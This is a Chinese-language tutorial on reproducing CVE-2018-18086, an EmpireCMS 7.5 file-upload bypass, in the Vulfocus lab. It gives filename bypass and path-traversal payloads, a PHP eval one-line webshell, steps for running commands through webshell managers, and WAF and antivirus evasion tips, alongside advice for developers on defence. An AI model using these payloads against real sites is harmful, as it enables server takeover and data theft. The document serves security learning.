
1. 项目概述与核心价值最近在整理一些经典的Web安全漏洞案例发现帝国CMSEmpireCMS的一个老漏洞——CVE-2018-18086至今在渗透测试和红队评估中仍有其教学和启发价值。这个漏洞本质上是一个后台文件上传绕过攻击者可以在特定条件下通过构造特殊的请求将包含恶意代码的文件上传到服务器从而获取WebShell权限。虽然漏洞年份较早但其利用思路和绕过技巧对于理解文件上传漏洞的防御与攻击逻辑依然非常有帮助。为了让大家能在一个安全、可控的环境里亲手操作我选择了Vulfocus这个在线漏洞靶场平台。Vulfocus集成了大量真实漏洞环境一键启动非常适合学习和复现。今天这篇教程我就带大家从零开始手把手复现这个漏洞。整个过程不仅会展示“怎么做”更重要的是拆解“为什么能这么做”包括漏洞的成因、利用链的构造以及在实际渗透中可能遇到的变数和应对技巧。无论你是刚入门安全的新手还是想温故知新的老手相信都能从中获得一些实用的东西。2. 漏洞原理深度剖析2.1 EmpireCMS后台文件上传机制解析要理解CVE-2018-18086首先得了解帝国CMS特别是7.5版本后台的文件上传流程。帝国CMS的后台管理员通常通过/e/admin/目录进行内容管理其中涉及文件上传的功能模块如附件管理、编辑器上传等是重点。在正常的文件上传流程中系统会对上传的文件进行一系列安全检查这通常包括文件扩展名检查检查上传的文件后缀是否在白名单内如.jpg, .png, .gif等图片格式.txt, .doc等文档格式。MIME类型检查检查HTTP请求头中的Content-Type字段判断文件类型是否与扩展名匹配。文件内容检查有些系统会尝试解析文件内容判断是否为真实的图片如图像二次渲染、文件头检查。路径与权限控制决定文件最终存储的路径并确保其不可直接以脚本形式执行。帝国CMS的漏洞点往往就出在这些检查环节的衔接处或逻辑缺陷上。CVE-2018-18086的核心问题在于其后台某个文件上传接口的过滤逻辑存在缺陷攻击者可以通过构造特殊的文件名或数据包绕过其中一项或多项检查。2.2 CVE-2018-18086漏洞成因详解根据公开的漏洞详情和分析CVE-2018-18086的漏洞触发点通常与后台的“上传附件”或“在线编辑器文件上传”功能相关。其根本原因可以归结为“黑名单过滤不严”或“解析歧义”。一种常见且经典的绕过手法是“双写扩展名”或“特殊字符截断”。例如系统可能只检查文件名中最后一个“.”之后的后缀。如果攻击者上传一个名为shell.php.jpg的文件有些粗糙的检查逻辑可能会因为看到了.jpg而放行但部分Web服务器如老版本的IIS、Apache在某些配置下或后端语言在处理文件时可能会以第一个“.”或最后一个“.”作为解析依据从而导致shell.php.jpg被当作PHP脚本来执行。另一种可能是“路径穿越结合解析漏洞”。攻击者在上传时通过文件名参数注入目录遍历字符如../../../shell.php试图将文件上传到Web目录之外或更易被解析的位置。如果系统对文件名中的路径过滤不严就可能造成任意文件上传。注意具体的漏洞触发代码文件路径和函数在不同的小版本中可能略有差异。在复现时我们需要根据靶场环境的具体版本来调整利用方式。Vulfocus提供的环境通常已经配置好了漏洞触发点。2.3 漏洞利用的影响与危害成功利用该漏洞的危害是显而易见的直接获取WebShell。这意味着攻击者可以完全控制网站服务器在服务器上执行任意系统命令查看、下载、删除或修改网站文件乃至系统文件。作为内网渗透的跳板以Web服务器权限为起点进行内网横向移动攻击同一网络内的其他主机。窃取敏感数据访问网站数据库盗取用户信息、管理员密码等核心数据。植入后门或篡改页面长期控制网站用于挂黑链、挖矿或发布违法信息。因此理解并复现此类漏洞对于防御者而言是构建有效安全防护策略如严格的白名单校验、文件内容检查、存储路径隔离、权限最小化等的关键一步。3. 靶场环境搭建与配置3.1 Vulfocus靶场简介与优势Vulfocus是一个开源的漏洞靶场集成平台它就像是一个漏洞环境的“应用商店”。它的最大优势在于“开箱即用”。我们不需要自己去寻找漏洞源码、配置复杂的PHP/Java环境、解决各种依赖冲突。Vulfocus已经将EmpireCMS 7.5 with CVE-2018-18086这个漏洞环境打包成了一个Docker镜像我们只需要一条命令就能拉取并运行一个完整的、带有漏洞的网站。这对于安全学习者来说效率极高可以将全部精力集中在漏洞原理分析和利用技巧上而不是浪费在繁琐的环境搭建过程中。平台通常提供Web访问接口直接通过浏览器就能访问到漏洞网站的后台和前台。3.2 启动EmpireCMS漏洞环境假设你已经安装好了Docker和Docker Compose。Vulfocus的部署方式有多种这里以直接使用其官方提供的镜像为例进行说明。首先我们需要从Docker Hub拉取特定的漏洞镜像。镜像名称通常包含漏洞标识。我们可以使用以下命令搜索或拉取具体镜像名需根据Vulfocus仓库确定这里以假设的镜像名为例# 搜索与EmpireCMS相关的漏洞镜像 docker search vulfocus/empirecms # 拉取指定漏洞镜像 (示例实际镜像tag请参考Vulfocus文档) docker pull vulfocus/vulfocus:empirecms-cve-2018-18086拉取完成后运行该镜像容器。关键是要将容器的Web服务端口通常是80映射到宿主机的某个端口例如8080。docker run -d -p 8080:80 --name empirecms-cve vulfocus/vulfocus:empirecms-cve-2018-18086参数解释-d: 后台运行容器。-p 8080:80: 端口映射将宿主机的8080端口映射到容器的80端口。--name empirecms-cve: 给容器起一个名字方便管理。最后是镜像名。执行成功后在浏览器中访问http://你的服务器IP:8080或http://localhost:8080应该就能看到EmpireCMS的安装页面或已经安装好的网站首页。3.3 访问漏洞站点与信息收集成功访问站点后我们第一步不是急着攻击而是进行信息收集这就像实战前的侦察。确定后台地址常见的帝国CMS后台路径是/e/admin或/admin。尝试访问http://localhost:8080/e/admin。如果跳转到登录页面说明后台存在且需要认证。寻找默认凭证很多靶场为了简化会设置默认的后台账号密码如admin/admin、admin/123456。尝试登录。如果Vulfocus环境说明中没有提及可能需要通过其他方式如SQL注入获取但在此类专注于文件上传的靶场中通常直接提供或无需登录即可触及漏洞点。识别CMS版本查看页面底部版权信息、robots.txt文件、或通过一些特定路径如/e/data/adminlogin/下的文件可能泄露版本。确认是EmpireCMS 7.5版本这与CVE-2018-18086影响版本匹配。探索上传点登录后台后寻找任何可以上传文件的地方。常见位置包括“内容” - “发布信息” - 在编辑器中上传图片/附件。“栏目” - “管理附件” 或 “上传附件”。“插件”或“工具”中的文件管理功能。实操心得在Vulfocus环境中有时漏洞接口可能被设计成无需后台登录即可访问以专注于复现上传漏洞本身。因此如果找不到后台密码不妨用Burp Suite等工具抓取网站的所有请求观察哪些POST请求包含multipart/form-data文件上传的数据格式这可能是直接的漏洞入口。4. 漏洞复现与利用链构造4.1 定位漏洞上传接口通过信息收集我们假设找到了一个后台的上传功能点。现在我们需要用代理工具如Burp Suite来拦截和分析上传请求。配置浏览器代理指向Burp Suite默认127.0.0.1:8080。在网站后台选择一个看起来可以上传文件的地方例如编辑器的“插入图片”功能。选择你准备好的“一句话木马”文件。注意为了绕过初步检查我们通常先以一个合法的图片文件开始例如一个真实的test.jpg但将其内容替换为PHP代码或者使用“图片马”技术在图片EXIF信息中嵌入代码。但在本漏洞中更可能直接通过文件名绕过。点击上传同时在Burp Suite中捕获这个HTTP请求。捕获到的请求大概长这样POST /e/admin/ecmseditor/upload.php?enewsEditUploadFile HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ... Content-Disposition: form-data; namefile; filenametest.jpg Content-Type: image/jpeg ...文件二进制数据...关键参数是filename。漏洞可能就存在于服务器端对filename的处理逻辑中。4.2 构造绕过Payload根据CVE-2018-18086的典型利用方式我们尝试构造特殊的文件名来绕过检查。这里演示两种经典方法方法一双写扩展名/解析歧义将Burp Suite中捕获到的请求里的filenametest.jpg修改为filenameshell.php.jpg或filenameshell.php;.jpg或filenameshell.php%00.jpg空字节截断在PHP旧版本中有效。原理是前端JS或第一层服务器检查可能只认.jpg但后端PHP在保存文件时可能因为pathinfo()函数解析或直接拼接字符串的方式最终将文件保存为shell.php。或者在某些服务器配置下shell.php.jpg会被解析执行PHP代码。方法二路径遍历修改filename参数尝试将文件上传到非预期目录filename../../../shell.php如果服务器没有过滤文件名中的../且当前上传目录具有写权限文件就可能被写入到Web根目录从而直接通过URL访问。实际操作在Burp Suite的Proxy-Intercept标签页确保拦截是开启的。找到包含filename的那一行。将其修改为你构造的Payload例如filenameshell.php.jpg。点击“Forward”发送修改后的请求。4.3 上传WebShell与验证发送请求后观察服务器的响应。成功的上传通常会返回一个JSON或文本响应其中包含文件存储的路径或URL例如{url:/e/data/ecmseditor/upload/202504/12345678.php.jpg, state:SUCCESS}重点来了你需要验证这个文件是否能以脚本形式执行。拼接访问URL根据返回的路径在浏览器中访问。例如http://localhost:8080/e/data/ecmseditor/upload/202504/12345678.php.jpg。观察响应如果浏览器直接下载该文件或者显示图片说明它没有被当作PHP执行绕过可能不成功或者需要其他技巧如结合其他解析漏洞。如果页面显示空白、报错如未定义变量或者——最理想的——你上传的“一句话木马”代码被执行了例如你上传的内容是?php phpinfo();?那么页面应该显示PHP的配置信息恭喜你漏洞复现成功制作一句话木马一个最简单的一句话木马WebShell内容如下?php eval($_POST[cmd]);?这段代码的意思是通过POST参数cmd传递PHP代码并执行。你可以将其保存为一个文本文件然后在Burp Suite中将其作为文件内容上传同时配合上述的文件名绕过技巧。注意事项在实际渗透测试中使用eval函数的一句话木马容易被安全软件静态查杀。通常会进行编码、混淆或者使用更隐蔽的函数如assert()、create_function()或通过动态调用system($_GET[‘c’])来执行命令。但在靶场环境中简单的一句话即可。5. 漏洞利用的深入与防御思考5.1 利用成功后的操作一旦确认WebShell可以执行你就获得了在该Web目录下的命令执行权限。你可以通过中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)等WebShell管理工具进行连接图形化操作会更方便。以手动POST为例你可以这样验证使用HackBar浏览器插件或curl命令。向你的WebShell地址发送POST请求。参数名为cmd对应我们木马中的$_POST[‘cmd’]值为你想执行的系统命令例如cmdwhoami。查看响应就能看到命令执行的结果当前Web服务器的运行用户如www-data或apache。5.2 漏洞根源与安全开发建议复盘这个漏洞根本原因在于服务端对用户输入文件名的信任度过高且过滤逻辑存在缺陷。要避免此类问题开发者应该使用白名单策略严格定义允许上传的文件扩展名如.jpg,.png,.pdf拒绝任何不在名单内的文件。这比黑名单可靠得多。重命名上传文件不要使用用户上传的文件名。使用随机生成的文件名如UUID加上白名单内的扩展名。例如将用户上传的shell.php.jpg保存为a1b2c3d4.jpg。检查文件内容对于图片使用getimagesize()等函数进行二次验证或进行图片重绘破坏可能隐藏的恶意代码。隔离存储将上传的文件存储在Web根目录之外并通过脚本如PHP的readfile()来提供访问。这样即使上传了恶意脚本也无法直接通过URL触发执行。设置正确的权限上传目录只赋予写入权限不赋予执行权限。及时更新与修补关注使用框架或CMS的官方安全公告及时更新到最新版本。5.3 复现过程中的常见问题与排查上传后返回成功但访问时被下载或显示源码可能原因服务器没有将.php.jpg配置为PHP解析。或者漏洞利用方式不对文件确实被保存为.php.jpg但服务器只解析最后的.jpg。排查尝试其他Payload如shell.php;.jpg、shell.php%20空格、shell.php.末尾加点。查看服务器返回的完整存储路径确认文件名到底是什么。后台找不到上传点或需要强认证可能原因Vulfocus环境可能将漏洞点前置无需登录。尝试直接访问一些常见的上传脚本路径如/e/admin/ecmseditor/upload.php、/e/admin/UploadFile.php等并用Burp Suite抓包看看是否有直接的文件上传参数。使用空字节(%00)截断无效可能原因PHP版本 5.3.4 默认修复了空字节截断漏洞。靶场环境可能使用了更高版本的PHP。解决方案放弃空字节截断专注于双写扩展名、解析歧义或路径遍历。命令执行无回显可能原因系统禁用了某些函数如system,exec或者WebShell代码有误。排查先使用?php phpinfo();?测试PHP是否能正常解析和执行。如果phpinfo能显示再尝试简单的echo ‘hello’;。确认WebShell连接工具如蚁剑的配置是否正确特别是编码器和连接密码。6. 从复现到实战的思维延伸成功在Vulfocus上复现漏洞只是第一步。真正的价值在于将这种分析能力应用到更复杂、更接近真实的环境中去。信息收集的扩展在真实目标上你可能没有默认后台密码。这时需要结合其他漏洞比如通过前台的SQL注入获取管理员密码哈希然后破解或者寻找后台的密码重置、登录逻辑漏洞。绕过技巧的升级现代WAFWeb应用防火墙和更严格的过滤机制使得简单的双写扩展名难以生效。这就需要研究更高级的绕过技术例如大小写绕过shell.Php、shell.PHP在Windows系统上可能不区分大小写。点号绕过shell.php.、shell.php...某些处理逻辑会去除末尾的点。空格绕过shell.php末尾加空格Burp中需编码为%20。配合解析漏洞如IIS的;解析漏洞shell.jpg;.phpNginx的畸形解析漏洞shell.jpg/.php等。Content-Type绕过将Content-Type: image/jpeg改为text/plain或application/octet-stream有时能绕过MIME检查。文件头欺骗在PHP木马文件开头添加图片的文件头如GIF89a同时保持文件名为.php可能绕过简单的文件内容检查。工具链的熟练使用熟练掌握Burp Suite的Intruder模块进行模糊测试Fuzzing自动尝试各种文件名、参数组合可以高效地发现过滤规则的边界。Repeater模块用于手动调试和Payload微调。这个CVE-2018-18086的复现过程像是一个经典的“教学案例”。它串联起了环境搭建、信息收集、漏洞原理分析、Payload构造、利用验证和问题排查等多个安全研究的基本环节。理解它不仅是知道了一个漏洞更是掌握了一套分析文件上传类漏洞的方法论。在实战中遇到任何上传点你都可以用类似的思路去审视它的过滤逻辑是什么边界在哪里有哪些可能被忽略的校验环节只有这样才能从“复现者”成长为“发现者”。